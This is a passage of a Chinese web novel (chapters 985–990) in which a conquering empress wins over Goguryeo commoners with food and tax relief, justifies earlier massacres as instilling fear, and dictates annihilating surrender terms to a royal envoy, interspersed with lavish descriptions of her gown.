慕容嫣并未一直留在行辕。在听取了初步的卸货汇报后,她决定亲临码头视察进展,?并看看那些被征调来的高句丽民夫。 她在林臻的陪同下,?再次来到了喧闹的码头。 为了便于在杂乱的环境中行走,她今日的装扮相对利落。 ?那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙之外,?罩着一件长度及膝、便于活动的黑金色苏锦短款罩甲式霞帔,?霞帔边缘以皮革镶边,?更添几分干练。? 最外层,?依旧披着那件标志性的黑金貂皮披肩,?披肩在忙碌的码头环境中,?更显其主人的尊崇地位。 码头上尘土飞扬,杂物堆积,与昨日登船时甲板上的规整截然不同。? 神凤降世裙在这充满劳作气息的环境中,呈现出一种奇特的融合。 ?极致玄黑的苏锦底料仿佛能吸纳所有的喧嚣与尘土,色泽愈发沉静,织入的金色棉绒与真金线则在阳光下跳跃着,与劳工们古铜色皮肤上滚落的汗珠光泽隐隐呼应。 ?睡裙之上,那只擎天巨凤的图案,在忙碌的人流背景前,少了几分云端的高渺,多了几分俯瞰尘世、体察民情的意味。 ?宽大的喇叭袖收束在罩甲袖口内,她左手拇指上的墨玉扳指,在尘土飞扬的空气中依然泛着温润的光泽。 而那长达五丈的苏锦拖尾,?在此处,?面临着最大的挑战——泥泞的地面、散落的草屑、甚至是一些水渍。 它无法保持任何整洁,?只能毫无顾忌地凌乱拖曳在身后,?沾染上泥土、灰尘,?甚至被偶尔溅起的水花打湿边缘。 这种在真实劳作环境中形成的、彻底的、不加掩饰的凌乱,?反而更添一种亲民的真实感与强大的掌控力。 唯有绝对权威者,?才敢如此无视环境的污浊。 ?棉质的柔软与睡裙的概念,在此刻被赋予了与民同在的深层含义。 林臻依旧一身便于行动的深色劲装,?紧紧护卫在她身侧,?目光敏锐地扫视着周围,?确保没有任何安全隐患。 他时而伸手,?轻轻扶住慕容嫣的胳膊,?帮她避开地上的积水或散乱的绳索。 第985章 提高民夫待遇 慕容嫣缓步行走在码头的边缘,?并未打扰紧张的卸货流程,?而是静静地观察着。 她看到大乾的工兵和士卒们指挥若定,动作麻利;也看到那些被征召来的高句丽民夫,他们大多衣衫褴褛,面黄肌瘦,在监工的指挥下,吃力地扛着沉重的箱子,或者喊着号子推动满载的车辆。 他们的脸上,有疲惫,有麻木,但似乎少了几分最初的极度恐惧,取而代之的是一种为了生存而努力的专注。 慕容嫣的目光,?落在几个正在休息,?蹲在角落啃着干硬饼子的高句丽老人身上。 他们啃得很慢,显然那食物并不美味,甚至难以下咽。 她的眉头,?微微蹙起。 她招了招手,?唤来负责码头调度的一名大乾校尉。 “那些民夫平日饮食如何?”慕容嫣问道,?声音平静。 校尉连忙躬身回答:“回陛下,按军规,征用民夫,每日供给粟米饭一餐,咸菜佐食,以维持劳力。” 慕容嫣沉默了片刻。她转头看向林臻,?眼中带着一丝询问和不忍?:“夫君,你看他们吃那样的东西,怎么有力气干活呢?我们船上的粮食不是很多吗?” 林臻看着妻子眼中那抹罕见的柔软,?心中了然。他柔声道?:“嫣儿心善。军规虽如此,但非常之时,亦可权宜。更何况,让他们吃好些,干活更卖力,于工程进度亦有益。” 慕容嫣点了点头,?再转向那校尉时,?语气已带上了不容置疑的威严?:“传朕旨意。即日起,所有参与卸货之高句丽民夫,每日饮食,与我大乾辅兵同例!确保每人每日有干饭两餐,午间加一餐稠粥,三日见一次荤腥!所需米粮肉菜,即刻从刚卸船的物资中拨付!不得有误!” 校尉闻言,先是一愣,随即凛然应诺:“末将遵旨!陛下仁德!” 他立刻转身跑去安排。 慕容嫣的这番话,?并未刻意压低声音,?附近的一些民夫似乎听懂了通译的转达,?或者说,?从校尉跑开的动作和慕容嫣的神情中猜到了什么。 他们纷纷停下手中的活计,难以置信地望向这边,眼中充满了惊疑、困惑,以及一丝逐渐燃起的希望。 很快,几名火头军抬着几大桶刚刚煮好的、冒着热气的粟米饭和一大盆咸菜炖肉来到了民夫休息的区域。 香气顿时弥漫开来。 通译高声用高句丽语宣布了皇帝陛下的恩典。 寂静,死一般的寂静。 然后,不知是谁先发出了一声哽咽,紧接着,越来越多的民夫放下了手中的工具,朝着慕容嫣的方向,扑通扑通地跪了下来。 他们没有山呼万岁,只是用高句丽语不断地磕头,说着感激的话,泪水混着脸上的尘土滑落。 那几个刚才啃硬饼子的老人,更是老泪纵横,几乎要晕厥过去。 对于这些在战乱中挣扎求存、早已习惯了饥寒交迫的平民而言,能吃饱饭,而且是和“天兵”一样的饭食,这简直是做梦都不敢想的事情! 慕容嫣静静地站在原地,?看着眼前黑压压跪倒一片、感激涕零的民众。 海风吹拂着她的发丝和衣裙,那墨金色的拖尾在尘土中静静铺展。 她的脸上,?没有过多的表情,?但那双凤眸中,?却悄然闪过一丝复杂的微光,?有怜悯,?有满意,?或许还有一丝身为统治者的责任之感?。 她侧过头,?看向林臻,?声音轻轻地,?带着一丝不确定和寻求肯定的撒娇意味?:“夫君,我这样做得对吗?他们会真的感激我吗?” 林臻走上前,?与她并肩而立,?看着那些因为一顿饱饭而激动万分的百姓,?柔声道?:“嫣儿做得非常对。恩威并施,方为长久之道。一顿饭食,所费无几,却能收买万千民心。你看他们,” 他指着那些开始排队领饭、脸上洋溢着真切笑容的民夫,“此刻,他们心中对陛下的感激,定然是真诚的。这远比刀剑更能让他们归心。” 慕容嫣听了,?嘴角微微上扬,?露出一抹纯净的、带着成就感的笑容。 她下意识地,?伸手挽住了林臻的胳膊,?将头轻轻靠在他的肩膀上,?虽然只是短短一瞬便离开,?但那依赖之情溢于言表?:“嗯,夫君说得对,只要他们乖乖的对我好,我就对他们好。” 这时,民夫们开始有序地领取饭食。 拿到香喷喷的饭菜后,他们并没有立刻狼吞虎咽,而是再次朝着慕容嫣的方向,深深地叩首,然后才小心翼翼地开始吃饭。 而且,明显可以感觉到,他们吃饭的速度加快了许多,吃完后,不用监工催促,便主动地、更加卖力地投入到了卸货工作中去,干劲比之前足了许多。 慕容嫣将这一切看在眼里,?脸上的笑容更加明媚。她对林臻说道,?语气轻快?:“夫君你看他们干活更卖力气了呢!真好。” “是啊,这就是嫣儿的仁德所至。”林臻含笑点头。 又巡视了片刻,确保旨意得到执行后,慕容嫣觉得目的已经达到。 她对林臻说?:“夫君这里尘土大,我们回去吧。” 林臻点头?:“好。” 慕容嫣转身,?准备离开码头。 就在她转身的刹那—— 动作带着完成一件“小事”后的轻松与愉悦! 那迤逦在泥泞码头地面、沾染了尘土和水渍、凌乱不堪的五丈墨金色拖尾与披肩因这转身被带动!华贵的锦缎与貂皮拂过粗糙的地面,?唰啦一声,?扬起些许灰尘?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在码头喧嚣与尘土飞扬的环境中却仿佛蕴含着生机与希望的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出温暖而耀眼的金芒,那光芒不再冰冷,而是充满了滋养、恩泽与收获的暖意,尊贵、辉煌,且带着一种施恩于民、根基永固的深远意蕴! 这惊鸿一瞥,是对她方才善举最华丽的注脚。 裙摆落下,将那片温暖的金光与满码头的感激之情一同掩盖。 慕容嫣挽着林臻的手臂,?在侍卫的簇拥下,?缓步离开码头。 身后,是更加热火朝天的劳动场面,是民夫们发自内心的感激,是帝国力量源源不断的注入。 第986章 “恐惧让他们不敢反抗 圣徽二年,五月中旬。 平壤城内外,经过近月的整顿与安抚,秩序已基本恢复。 大乾的龙旗与凤旗在城头猎猎作响,街道上巡逻的士兵甲胄鲜明,步伐整齐。 市集虽不及往日繁华,却也渐渐有了人气,商铺重新开张,百姓的脸上,那种极致的恐惧逐渐被一种小心翼翼的、观望式的平静所取代。 海州、安州的惨剧记忆犹新,但近日来女帝亲自巡视乡村、改善民夫伙食、分发粮种等举动,又像暖风般悄然吹拂着这片饱受创伤的土地。 这一日,慕容嫣端坐于临时设在前高句丽王宫偏殿的理政堂内。 殿内陈设已按大乾规制稍作改动,撤去了许多高句丽风格的装饰,显得更加庄重肃穆。 她刚刚批阅完一批来自辽东各新占城池的奏报,?正微微侧身,?听着林臻的禀报。 她今日穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 ?尤其是那宽大的喇叭袖口,?从袖中微微露出边缘的金色绣纹。 ?神凤降世裙在庄重的殿堂内,华光内敛,更显深沉。 ?极致玄黑的苏锦底料在殿内略显昏暗的光线下,呈现出一种吸纳一切的静谧,织入的金色棉绒与真金线流淌着沉稳的暗金辉光,与殿中紫檀木家具的色泽相得益彰。 ?睡裙之上,那只擎天巨凤的图案,在端坐时,少了几分动态的张扬,多了几分垂拱治天下的雍容与威仪。? 宽大的喇叭袖被宫装长袖所遮掩,但她左手拇指上的墨玉扳指,在她翻阅奏章时,不时在烛光下闪过幽润的光泽。 那长达五丈的苏锦拖尾,?在光滑如镜的金砖地面上,?铺陈开来。 由于她端坐于宽大的凤椅之上,拖尾并未完全舒展,?而是在椅周自然地堆叠、蜿蜒,?形成一种庄重之中略带随意慵懒的凌乱。 这种凌乱,?非但不损威仪,?反而更凸显其地位尊崇,?无需刻意拘泥于形式。? 棉质的柔软与睡裙的舒适,让她能在长时间的政务处理中保持身体的放松。 林臻身着亲王常服,?站在御案一侧,?手中拿着一份刚整理好的民情汇总。 他目光温和地看着慕容嫣,?禀报道?:“嫣儿,根据各州县报上来的情况,以及‘夜枭’密探所察,自月前你巡视乡里、改善民夫膳食之后,高句丽遗民对我大乾的抵触情绪明显减弱。许多百姓开始接受官府管理,领取粮种,参与修缮,市面也逐渐恢复。看来怀柔之策,已初见成效。” 慕容嫣闻言,?放下手中的朱笔,?微微向后靠在凤椅的椅背上,?唇角勾起一抹意料之中的淡淡弧度。她抬起眼,?看向林臻,?凤眸中闪烁着睿智而冷静的光芒?: “夫君你看,这便是人性。”她的声音平稳,带着一丝洞察世事的淡然,“海州、安州朕以雷霆手段屠之,是要让他们怕,让他们知道反抗朕是何等下场,是彻底的灭亡。” 她说着,?伸出戴着墨玉扳指的右手,?轻轻敲了敲御案,?发出清脆的声响。 “而如今,”她话锋一转,?语气缓和下来,?甚至带上了一丝慵懒,“屠刀之后递上饭食,修缮房屋,分发农具,是要让他们看到顺从朕,归附大乾便能活,甚至能活得比以前更好。” 她的目光,?投向殿外,?仿佛能穿透宫墙,?看到那些正在逐渐安顿下来的百姓。 “恐惧让他们不敢反抗。”慕容嫣继续说道,?声音不高,?却字字清晰,“而这一点点好处便是希望让他们心甘情愿地成为我大乾的子民。” 她转过头,?看向林臻,?眼中带着寻求认同的狡黠笑意,“夫君你说,朕这般算不算是恩威并施,刚柔相济呀?” 林臻看着她那副带着点小得意、如同献宝般的模样,?心中爱极。 他走上前几步,?来到御案前,?双手撑在案上,?俯身看着她,?眼中满是赞赏与柔情?:“我的嫣儿何止是恩威并施,简直是深谙御下之道,洞悉人心之变。刚不可久,柔不可守,唯有如嫣儿这般,先以雷霆击碎其侥幸,再以雨露滋养其生机,方能真正收服这片土地与人心。” 得到林臻的肯定,慕容嫣脸上的笑容更加明媚。 她像个小女孩般,?开心地从凤椅上微微探身,?伸手抓住了林臻撑在案上的手,?轻轻摇晃着?:“那夫君我们是不是可以再进一步了?光给饭吃还不够,要让他们从心里觉得做大乾的子民,比做高句丽的顺民要好上千百倍。” “嫣儿有何想法?”林臻反手握紧她微凉柔软的手,?柔声问道。 慕容嫣坐直身体,?凤眸中闪过一丝决断?:“颁布诏令!以朕的名义!” 她语气转为威严,?但握着林臻的手却未松开。 “一、宣布减免辽东新附之地本年及来年三成赋税!原有高句丽王室及贵族所占之无主田地,尽数分发给无地少地之农户耕种,头三年只收轻微田租!” “二、鼓励通婚!大乾将士与当地女子成婚者,赏钱帛,免其家徭役三年!高句丽女子嫁与大乾男子者,视同大乾子民,享同等律法保护!” “三、广设学堂,推行大乾官话、文字、礼仪!高句丽子弟入学堂者,免其束脩,优异者可荐至州郡乃至京师深造!” “四、征发民夫,修缮平壤及各州县城墙、官道、水利!以工代赈,按日给付钱粮,不得无偿役使!” “五、严令各军各府,不得擅扰百姓,不得强取豪夺,违令者,无论官职,严惩不贷!” 她一条条说出,?思路清晰,?显然早已深思熟虑。 这些政策,旨在从根本上瓦解高句丽的抵抗基础,促进民族融合,恢复生产,稳固统治。 林臻认真听着,?眼中赞赏之色愈浓。待她说完,他点头道?:“善!大善!此诏一下,必能尽收辽东民心!嫣儿此举,功在当代,利在千秋!” 慕容嫣被夸得有些不好意思,?脸颊微红,?嗔怪地瞥了他一眼?:“夫君你就会哄我开心。” 她说着,?却将他的手握得更紧,“那夫君你就帮我把这几条诏令润色一下,即刻用玺明发天下好不好?” “为夫遵旨。”林臻笑着应道,?却并未立刻离开,?而是俯身,?在她光洁的额头上轻轻吻了一下,“我的嫣儿真是越来越有千古一帝的风范了。” 慕容嫣享受着这片刻的温存,?闭上眼睛,?嘴角噙着幸福的笑意。 片刻后,她才轻轻推开他?:“快去嘛,正事要紧。” 林臻这才直起身,?唤来殿外的翰林学士,?吩咐拟旨事宜。 慕容嫣则重新拿起朱笔,?在一份关于修缮平壤城被毁民居的奏章上,?批了一个大大的“准”字,?并在旁边用小字注明?:“着即拨付钱粮,从速办理,以安民心。” 第987章 怀柔政策 批阅完毕,她放下笔,?感到一阵轻松与满足。 她站起身,?想活动一下有些僵硬的筋骨,?走向殿窗,?想看看外面的景色。 就在她从凤椅上站起身,?转向殿窗的刹那—— 动作带着决策已定、心怀期待的轻盈! 那迤逦在御座周围、堆叠铺陈的五丈墨金色拖尾被带动,?唰啦一声,?如同流水般滑过光滑的金砖地面?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在殿内庄重光线下闪烁着治国平天下智慧光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出沉稳而辉煌的金芒,那光芒不再侧重于杀伐征服,而是充满了安抚、建设与开创盛世的远大抱负,尊贵、辉煌,且带着一种泽被苍生、江山永固的深谋远虑! 这惊鸿一瞥,象征着她统治策略的成熟与转变。 裙摆落下,将那片象征着仁政与希望的金光掩盖。 慕容嫣站在窗前,?眺望着远处正在修缮的平壤城街景。 阳光洒在她身上,?那身神凤降世裙的墨金色泽,?仿佛与这座新生城市的未来融为一体。 ...... 圣徽二年,五月末。 大乾的统治日渐稳固。 减免赋税、分发田地、鼓励通婚、修缮城池等一系列怀柔政策的颁布与实施,如同润物细无声的春雨,悄然改变着辽东的民心向背。 街市上,开始出现大乾商贩的身影,学堂里传来了孩童诵读圣徽典籍的稚嫩声音,田间地头,原本面有菜色的农民脸上也渐渐有了些许盼头。 尽管海州、安州的惨痛记忆犹在,但生存的本能和对安定生活的渴望,开始压倒仇恨与恐惧。 然而,在这片看似逐渐平静的土地之下,暗流仍在涌动。 这暗流,源自于那座虽被围困、却仍在负隅顽抗的高句丽王宫——景福殿。 景福殿内,气氛比以往任何时候都要压抑和绝望。 炭火盆依旧燃着,却驱不散那彻骨的寒意,这寒意不仅来自春末的微凉,更来自心底最深处的恐慌。 高句丽王高藏,如今已瘦得脱了形,蜷缩在王座里,眼神涣散,仿佛一具被抽走了灵魂的躯壳。 摄政王高云,往日阴鸷沉稳的气质荡然无存,取而代之的是一种焦躁不安的颓唐,他眼窝深陷,须发似乎也白了许多,来回踱步的脚步声在死寂的大殿中显得格外刺耳。 殿下,文武百官稀稀拉拉地站着,人人脸上写满了灰败与茫然。 慕容嫣的怀柔政策,像一把软刀子,正在一点点剜去他们最后抵抗的根基。 他们原本指望依靠平壤坚城和军民的血性做最后一搏,可现在,城外的百姓似乎正在被“驯化”,城内的粮草一日紧似一日,军心士气更是低迷到了极点。 “都说话啊!平日里不是都很能说吗?!现在怎么办?!到底该怎么办?!”高云猛地停下脚步,嘶哑的声音如同破裂的锣鼓,在殿中回荡,充满了穷途末路的疯狂。 台下一片死寂。主战派的朴正雄张了张嘴,却发现自己发不出任何声音。 战?拿什么战? 军心涣散,外无援兵,城内粮草最多再支撑月余。 慕容嫣的火炮日日对着牡丹峰虎视眈眈,那毁灭安州的噩梦随时可能重演。 主和派的文正淳,此刻更是老泪纵横,他颤巍巍地出列,伏地泣道: “摄政王!陛下!大势已去大势已去啊!慕容嫣此举并非作秀,乃是真正的统治之术!她是要从根本上绝我高句丽复起之念啊!如今民心浮动,军无战意若再顽抗下去,只怕平壤就要步海州、安州后尘届时,玉石俱焚,宗庙倾颓啊!” 他的哭诉,道出了在场大多数人的心声。 恐惧,如同冰冷的潮水,再次淹没了每个人。 “难道难道就没有一点转圜的余地了吗?”高云的声音带着一丝不易察觉的颤抖,他其实心中早已有了答案,只是不愿承认。 “或许或许可以再派使者?”一名官员怯生生地提议,“慕容嫣既然施行仁政,或许或许会接受求和?哪怕是称臣纳贡,保全宗庙。” 这个提议,在以往会被主战派嗤之以鼻,但此刻,却引起了一阵细微的骚动。 就连朴正雄,也并未立刻反驳。 求和,至少可能还有一线生机? 虽然希望渺茫得像风中的残烛。 高云的目光投向王座上的高藏,高藏只是麻木地看着他,没有任何表示。 高云又看向台下众臣,看到的是一张张写满求生欲的脸。 他深吸一口气,仿佛用尽了全身力气,颓然道:“罢了罢了就再派一次使者吧带上最谦卑的降表,最丰厚的礼物去去问问慕容嫣究竟要怎样才肯罢兵才肯给我高句丽王室留一条活路。” 他的话语中,充满了无尽的屈辱与绝望。 景福殿内,只剩下压抑的抽泣声和沉重的叹息。 他们知道,这可能是最后一次尝试,也是最为卑微的一次。 与此同时,大乾行辕内,却是一片截然不同的氛围。 慕容嫣正与林臻在花园的凉亭中对弈。 春末夏初,园中花草繁盛,鸟语花香,与宫外的肃杀形成鲜明对比。 慕容嫣今日心情似乎颇佳。 ?为了舒适,?她将那件黑金貂皮披肩搭在了一旁的栏杆上。 ?对弈时,?她衣袖滑落,?偶尔会露出里面睡裙那宽大喇叭袖边缘的金色绣凤。 她左手拇指上的墨玉扳指,在落子时与玉石棋子轻轻碰撞,发出清脆的声响。 ?神凤降世裙在休闲时光中,更显其华美与独特。 ?极致玄黑的苏锦底料在阳光下泛着柔和的光泽,织入的金色棉绒与真金线流淌着温暖的辉光。? 睡裙之上,那只擎天巨凤的图案,在静谧的对弈中,敛去了所有锋芒,宛如一幅精美的艺术品。 那长达五丈的苏锦拖尾,?在亭内的竹席上,?随意地铺散着,?因她的坐姿和偶尔移动,?形成一种闲适而自然的凌乱。 ?棉质的柔软与睡裙的舒适,让她可以完全沉浸在与爱人对弈的温馨之中。 “夫君你又让着我。”慕容嫣拈着一枚黑子,?悬在半空,?蹙着秀眉,?娇嗔地瞪了林臻一眼,“这步棋明明有破绽,你都不抓。” 林臻执白子,?闻言莞尔,?伸手轻轻握住她悬着的手腕,?引导着将棋子落在另一个位置?:“我的嫣儿棋艺进步神速,为夫险些招架不住,何来相让?只是此处或许更为稳妥些。” 他的声音温柔,目光中满是宠溺。 慕容嫣顺着他的指引落下棋子,?仔细一看,?果然棋局顿时明朗,?她立刻眉开眼笑?:“啊!原来如此!夫君真厉害!” 她说着,?开心地像个小女孩般,?伸手搂住林臻的脖子,?在他脸颊上亲了一下。 林臻笑着揽住她的腰?:“是嫣儿聪慧,一点就通。” 第988章 再次求和 两人正温情脉脉间,一名内侍轻步走近亭外,躬身禀报:“陛下,亲王殿下,高句丽王室再次派遣使者前来,携降表与厚礼,请求觐见,言言乞和。” 慕容嫣脸上的笑容瞬间收敛,?取而代之的是一种冰冷的玩味。她松开搂着林臻的手,?缓缓坐直身体,?凤眸微眯?:“哦?又来求和?这次带了什么条件?” 林臻也恢复了平静,?淡淡道?:“困兽之斗,徒劳无功。想必是山穷水尽,来探听虚实的。” 慕容嫣嘴角勾起一抹嘲讽的弧度?:“让他们在前厅等候。朕稍后便去。” “是。” 内侍退下后,慕容嫣却没有立刻起身。 她重新拿起一枚棋子,?在指尖把玩着,?目光却已不在棋盘上。 “夫君,”她轻声唤道,?语气带着一丝慵懒的残忍,“你说他们这次是真心想投降,还是又在耍什么花样?” 林臻握住她的手,?将棋子从她指尖取下?:“真心与否,已不重要。平壤已是瓮中之鳖,他们的命运,早已不由自己掌控。此番前来,不过是确认他们即将到来的结局罢了。” 慕容嫣点了点头,?眼中闪过一丝厉色?:“是啊,结局早已注定,海州、安城的血不能白流。高句丽的王族必须为他们曾经的罪行付出代价。” 她说着,?站起身,?那凌乱的拖尾随之在席上滑动。 “不过,”她话锋一转,?看向林臻,?脸上又露出那种依赖的神情,“夫君你陪我一起去见他们好不好?我懒得跟他们多费口舌。” “自然。”林臻也随之起身,?为她拿起搭在栏杆上的黑金貂皮披肩,?仔细地披在她肩上,“为夫陪你。” 慕容嫣整理了一下仪容,?脸上恢复了女帝的威严与冷漠。 她迈步走出凉亭,?向行辕前厅走去。 林臻紧随其后。 就在她踏出凉亭,?转向通往厅堂的廊道时—— 动作带着一丝对琐事的不耐与既定的决断! 那迤逦在竹席上、铺散凌乱的五丈墨金色拖尾被带动,?唰啦一声,?拂过亭口的台阶?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在廊道光影交错下闪烁着无情裁决之光的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现出冰冷而耀眼的金芒,那光芒充满了最终审判的意味,尊贵、辉煌,且带着一种对敌人命运不容置疑的绝对掌控! 这惊鸿一瞥,是对高句丽最后一次求和尝试的无声回答。 裙摆落下,将那片冰冷的金光掩盖。 慕容嫣与林臻并肩,?走向即将决定高句丽最终命运的前厅。 她的心中,没有半分动摇。 怀柔,是为了统治;而清算,才是最终的目的。 高句丽王室的结局,从他们屠戮铁山城的那一刻起,就已经写定了。 ...... 圣徽二年,六月初一。 高句丽一半国土沦陷,平壤城内粮草日渐匮乏,人心惶惶。 高句丽王庭在绝望中做出的最后一次求和尝试,其使者此刻正战战兢兢地立于大乾行辕的前厅之中。 前厅气氛肃杀,虽经布置,仍难掩其临时征用的痕迹。 慕容嫣端坐于上首临时设下的凤椅之上,?身姿挺拔,?凤眸低垂,?看似平静,?却自有一股不容侵犯的凛然威仪。 ?那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙的华美轮廓依旧穿着,?尤其是领口与袖口处,?偶尔露出的内层金色凤纹,?昭示着她独特的偏好与不容置疑的身份。 ?左手拇指上的墨玉扳指,?在厅内光线下泛着幽冷的光泽。 ?神凤降世裙在这正式而又隐含压迫的氛围中,更显其深沉与神秘。? 极致玄黑的苏锦底料仿佛能吸收所有的光线与声音,织入的金色棉绒与真金线流淌着内敛而冰冷的辉光,与厅中肃立的黑甲侍卫的铠甲寒芒相互映衬。 ?睡裙之上,那只擎天巨凤的图案,在端坐时,敛翅凝神,却散发着随时可致人死命的危险气息。? 宽大的喇叭袖被宫装长袖所遮掩。 而那长达五丈的苏锦拖尾,?从凤椅之上,?迤逦而下,?铺过数级台阶, ?一直延伸到厅堂中央的光洁地板上。 由于并非正式宫殿,地面难免有尘埃,那华贵的墨金色锦缎便带着一种无视环境的、宣告主权般的凌乱,?铺陈其上,?甚至有几处,?沾染了地面的浮尘。 这种凌乱,?在此刻,?更像是一种对来使的无声蔑视,?彰显着占有者的绝对权力。 ?棉质的柔软与睡裙的称谓,在这决定一国命运的场合,显得格外突兀而又充满威慑。 林臻身着亲王常服,?坐在慕容嫣下首稍侧的位置,?面色平静,?目光沉稳。 他的存在,?既是慕容嫣权力的延伸,?也是她情感的依靠。 他并未主动发言,?只是静静地观察着,?仿佛一座不可逾越的山峦,?守护在女帝身旁。 高句丽使臣是一位年约六旬的老臣,名为朴永焕,官居礼曹判书,已是高句丽朝中为数不多德高望重、且敢于在此刻出使的人物。 他身着皱巴巴的高句丽一品官服,须发灰白,脸上写满了疲惫、恐惧与最后一丝侥幸。 他身后跟着两名手捧礼单和卷轴的随从,三人皆躬身垂首,不敢直视上方的慕容嫣。 “外臣朴永焕,奉奉我高句丽国王陛下之命,参见大乾皇帝陛下,万岁,万岁,万万岁!”朴永焕声音颤抖,带着哭腔,扑通一声跪倒在地,行三拜九叩大礼。 随从也连忙跟着跪下。 慕容嫣并未立刻叫起,?只是用那双冰冷的凤眸,?淡淡地扫视着下方跪伏的三人,?仿佛在审视几只蝼蚁。 厅内一片死寂,只有使臣粗重的喘息声。 良久,慕容嫣才缓缓开口,?声音清冷,?不带一丝情感?:“平身。高藏派你来,所为何事?” 她直呼高句丽王之名,?已是极大的轻蔑。 第989章 谈判崩盘 朴永焕哆哆嗦嗦地爬起来,依旧不敢抬头,双手高举过顶,捧着一卷用明黄绸缎包裹的卷轴: “回回陛下!我主深感陛下天威,悔不当初冒犯天朝特特遣外臣,献上降表!我高句丽愿永世称臣,岁岁纳贡,绝不反悔!只求陛下罢兵息战,给我高句丽一条生路!” 他说着,老泪纵横,几乎泣不成声。 随从连忙将礼单奉上,上面罗列着金银珠宝、人参貂皮等贵重物品。 内侍将降表和礼单接过,呈到慕容嫣面前。 慕容嫣甚至没有伸手去接,?只是用目光示意内侍放在一旁的案几上。 她嘴角,?勾起一抹极淡的、嘲讽的弧度。 “称臣?纳贡?”她轻声重复着,?仿佛听到了什么可笑的事情,“朴永焕,你抬起头来。” 朴永焕浑身一颤,艰难地抬起头,对上慕容嫣那双深不见底、寒冰般的凤眸,顿时吓得又差点瘫软下去。 “你看看朕,”慕容嫣的声音依旧平静,?却带着千钧重压,“再看看这辽东大地,海州,安州还有这平壤城下,朕需要你们高句丽称臣纳贡吗?” 她的每一个字,都像重锤敲在朴永焕心上。 朴永焕面色惨白,冷汗直流,结结巴巴地说:“陛下神威盖世自然不需要但但我高句丽上下,是真心归附只求陛下宽宏大量。” “宽宏大量?”慕容嫣打断他,?凤眸中闪过一丝厉色,“朕给过你们机会,海州之前朕给过安州之前,朕也给过,是你们自己不要!”她的声音陡然提高,带着凛冽的杀意,“现在山穷水尽了才想起来求和?天下哪有这么便宜的事!” 朴永焕吓得魂飞魄散,连连磕头:“陛下息怒!陛下息怒!此前皆是奸臣误国!我主年幼,受小人蒙蔽!如今已然醒悟!只要陛下肯罢兵,任何条件任何条件我们都答应!” 他已经语无伦次,只想保住性命和王室血脉。 慕容嫣冷冷地看着他磕头如捣蒜,?半晌,?才重新靠回凤椅,?语气恢复了一种近乎慵懒的冷漠?: “也罢既然你们‘任何条件都答应’”她顿了顿,?目光扫过一旁静坐的林臻,?林臻对她微微颔首,?给予无言的鼓励。 慕容嫣这才重新看向朴永焕,?红唇轻启,?吐出了决定高句丽命运的话语?: “条件很简单。” “第一,高句丽国号除名,疆土永世并入我圣徽版图,设为安东都护府。” “第二,高氏王族,自高藏、高云以下,所有直系宗亲,并所有五品以上官员及其家眷,三日之内,自缚出城,于平壤东门外跪迎天兵,听候朕发落。” “第三,平壤城内所有守军,即刻放下兵器,解除武装,出城投降。” “应此三条,朕可保平壤城内寻常百姓性命无虞。” 这三个条件,尤其是第二条,分明是要将高句丽统治阶层连根拔起,彻底灭绝! 所谓“听候发落”,与直接处决无异! 朴永焕听完,如遭雷击,脸色瞬间由白转灰,整个人像被抽走了骨头般瘫软在地,浑身剧烈颤抖,张着嘴,却发不出任何声音。 这条件,根本不是求和,是勒令他们集体自裁! “陛陛下!”他挣扎着爬起来,?涕泪交加,?声音嘶哑绝望,“这这条件未免太太苛刻了!王族宗亲官员家眷何罪至此啊!陛下!求陛下开恩!求陛下开恩啊!” 他一边哭喊,?一边拼命磕头,?额头很快见了血。 慕容嫣面无表情地看着他,?眼中没有一丝波澜。她甚至微微侧过头,?对身旁的林臻,?用带着一丝撒娇般的抱怨语气低声道?: “夫君你看他们,又要投降,又舍不得死,真是麻烦。”她的声音很轻,但在死寂的厅中,却清晰地传入众人耳中,更显其冷酷。 林臻温和地看了她一眼,?并未言语,?只是伸出手,?轻轻拍了拍她放在扶手上的手背,?以示安抚和支持。 朴永焕听到慕容嫣的话,彻底绝望了。 他知道,再无转圜余地。他瘫在地上,?失魂落魄,?喃喃道?:“如此条件外臣万万不敢应承我主我主,也绝不会答应。” “不答应?”慕容嫣的声音陡然转冷,?如同数九寒冰,“那就等着城破人亡吧!滚回去告诉高藏和高云!朕给他们三日时间考虑!三日之后,若无答复,或答复不让朕满意平壤城鸡犬不留!” 她说完,?不再看瘫软如泥的朴永焕一眼,?径直站起身?! 动作决绝而充满不耐烦! 那迤逦在地、凌乱铺陈的五丈墨金色拖尾随着她猛然起身的动作被骤然带起! 华贵的锦缎拂过地面,?唰啦一声,?扬起细微的尘埃?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在厅堂光线下闪烁着最终裁决般冰冷光芒的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出无情而耀眼的金芒,那光芒充满了毁灭与终结的意味,尊贵、辉煌,且带着一种不容置疑、不留余地的绝对意志! 这惊鸿一瞥,是对高句丽最后希望的彻底粉碎! 裙摆落下,将那片冰冷的金光与最终的判决一同掩盖。 慕容嫣转身,?不再理会身后使臣的哀嚎,?对林臻柔声道?:“夫君我们走吧,这里气味不好。” 她的语气,?瞬间从刚才的冷酷,?切换成了对爱人的依赖与娇嗔。 林臻也随之起身,?自然地伸出手臂让她挽住,?柔声应道?:“好,我们回去。” 两人相偕离去,将那瘫倒在地、如丧考妣的高句丽使臣和他那注定无法被接受的“降表”,留在了死寂而肃杀的前厅之中。 谈判,彻底崩盘。 圣徽二年,六月初五。 城外的气氛,却与月前的肃杀紧绷有所不同。 大乾军营秩序井然,巡逻队按部就班,却少了几分急切攻城的意思。 反倒是被收复已久的安州、海州两城,以及平壤城外新附的村镇,呈现出一派繁忙重建的景象。慕容嫣的旨意已下:暂缓对平壤的强攻,转而全力经营已占之地,筑实根基,坐待平壤粮尽自溃。 第990章 围而不攻,坐待其弊,实乃上策 这一日,慕容嫣并未在平壤城外的行辕,?而是移驾至了安州城。 此时的安州,经过数月的清理与重建,虽仍可见战火痕迹,但主要街道已恢复畅通,房舍得到修缮,市集也重新开张,有了些许生机。 